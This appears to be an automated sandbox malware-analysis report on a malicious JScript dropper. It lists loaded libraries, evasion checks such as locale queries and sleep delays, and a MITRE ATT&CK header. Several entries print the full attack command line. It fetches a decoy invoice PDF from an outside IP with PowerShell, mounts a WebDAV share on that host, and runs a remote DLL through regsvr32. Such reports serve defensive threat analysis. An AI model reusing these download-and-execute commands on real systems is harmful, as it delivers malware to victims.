Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7656.js.csv");ITextStream.WriteLine(" entry:7340 f:zergb");ITextStream.WriteLine(" exec:2 f:zergb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4598			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5201			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2792	Thread sleep count: 4598 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2792	Thread sleep count: 5201 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1336	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4540	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2332	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7148	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000008.00000002.2458267893.00000233276AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2458267893.0000023327648000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3655277499.0000018E3C82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3656915213.0000018E42057000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000008.00000002.2458267893.00000233276AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW-u

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
